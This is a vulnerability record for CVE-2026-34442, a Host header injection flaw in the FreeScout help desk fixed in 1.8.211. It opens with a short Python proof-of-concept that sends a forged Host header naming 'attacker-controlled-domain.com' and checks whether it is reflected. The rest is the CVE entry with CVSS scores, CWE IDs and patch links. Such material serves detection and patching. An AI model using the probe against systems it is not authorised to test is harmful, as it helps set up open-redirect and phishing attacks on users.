CVE-2026-34442

# PoC for CVE-2026-34442 Host Header Injection import requests def check_vulnerability(target_url, malicious_host): headers = { "Host": malicious_host, "User-Agent": "CVE-2026-34442-Scanner" } try: response = requests.get(target_url, headers=headers) # Check if the malicious host is reflected in the response body or headers if malicious_host in response.text or malicious_host in response.headers.get('Location', ''): print(f"[+] Vulnerability Detected! Host '{malicious_host}' was reflected.") print(f"Response Status: {response.status_code}") return True else: print("[-] Host header not reflected in response.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://localhost:8080/system/status" evil_host = "attacker-controlled-domain.com" check_vulnerability(target, evil_host)

{"cve": {"id": "CVE-2026-34442", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:19.333", "lastModified": "2026-04-01T19:49:03.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.211, host header manipulation in FreeScout version (http://localhost:8080/system/status) allows an attacker to inject an arbitrary domain into generated absolute URLs. This leads to External Resource Loading and Open Redirect behavior. When the application constructs links and assets using the unvalidated Host header, user requests can be redirected to attacker-controlled domains and external resources may be loaded from malicious servers. This issue has been patched in version 1.8.211."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-601"}, {"lang": "en", "value": "CWE-829"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.211", "matchCriteriaId": "4261C3DA-8327-4943-8E43-DE1D662BC634"}]}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/889d75c8e3c15e6a7ddb6a4d4f65cc0379c29213", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.211", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-822g-7rw5-53xj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-822g-7rw5-53xj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}